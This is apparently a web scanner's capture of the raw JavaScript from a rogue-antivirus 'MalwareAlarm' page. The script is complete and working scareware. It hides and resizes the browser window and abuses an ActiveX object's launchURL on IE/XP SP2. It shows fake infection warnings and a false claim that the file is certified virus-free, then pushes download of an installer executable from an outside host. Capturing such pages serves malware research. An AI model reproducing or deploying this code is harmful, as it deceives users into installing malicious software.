W.O.P.R   Probing for html as text at "http://scanner.malwarealarms.com/5.1/startup.php?advid=3400" result:


document.title = 'MalwareAlarm'; var promourl = "http://scanner.malwarealarm.com/5.1/?advid=3400"; document.writeln("<iframe name='myFrame' src='" + promourl + "' width='100%' height='100%' frameborder='0' vspace='0' hspace='0' marginwidth='0' marginheight='0' scrolling='no' style='Z-INDEX: 999; POSITION: absolute; TOP: 0px; RIGHT: 0px; LEFT: 0px; visibility:auto;'>"); function showwindow(coords, size) { var coordschunks = coords.split(/\b\s*;\s*\b/); var acoords = new Array(); for (var i=0; i < coordschunks.length; i++) { var aCrumb = coordschunks[i].split(/\b\s*(=|\:)\s*\b/); acoords[aCrumb[0]] = aCrumb[aCrumb.length - 1]; }; var sizechunks = size.split(/\b\s*;\s*\b/); var asize = new Array(); for (var i=0; i < sizechunks.length; i++) { var aCrumb = sizechunks[i].split(/\b\s*(=|\:)\s*\b/); asize[aCrumb[0]] = aCrumb[aCrumb.length - 1]; }; //detect topmos window var win; for(win = window; win.self != win.parent; win = win.parent); win.resizeTo(asize['w'], asize['h']); win.moveTo(acoords['x'], acoords['y']); }; showwindow('x:10000; y:10000', 'w:1; h:1'); is_XP_SP2 = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator.appMinorVersion.indexOf('SP2') != -1)); is_IE=false; if (navigator.appName.toLowerCase()=='microsoft internet explorer'){ if (navigator.userAgent.toLowerCase().indexOf('opera')<=0) { is_IE=true; } } if(is_XP_SP2) { var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6"; document.write("<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>"); } if(confirm('NOTICE: If your computer has been running slower than normal, it may be infected with Viruses, Adware or Spyware.\n\nMalwareAlarm will perform a quick and completely FREE scan of your system for malicious programs.\n\nDownload MalwareAlarm for FREE now!')) { alert('MalwareAlarm will scan your system for threats now.\n\nPlease select "RUN" or "OPEN" when prompted to start the installation.\n\nThis file has been digitally signed and independently certified as 100% free of viruses, adware and spyware.'); if (is_IE) { if (is_XP_SP2) { try { iie.launchURL("http://xscanner.malwarealarms.com/a/Install3400.exe"); } catch(e) { w=screen.width/2-280; h=screen.height/2-60; window.open("http://xscanner.malwarealarms.com/a/Install3400.exe","new", "width=580,height=180,left="+w+",top="+h); }; } else { w=screen.width/2-280; h=screen.height/2-60; window.open("http://xscanner.malwarealarms.com/a/Install3400.exe","new", "width=580,height=180,left="+w+",top="+h); } } else { w=screen.width/2-280; h=screen.height/2-60; window.open("http://xscanner.malwarealarms.com/a/Install3400.exe", "_blank", "width=580,height=180,left="+w+",top="+h); }; }; showwindow('x:0; y:0', 'w:' + window.screen.width + '; h:' + window.screen.height); window.resizeTo(window.screen.width, window.screen.height); window.focus();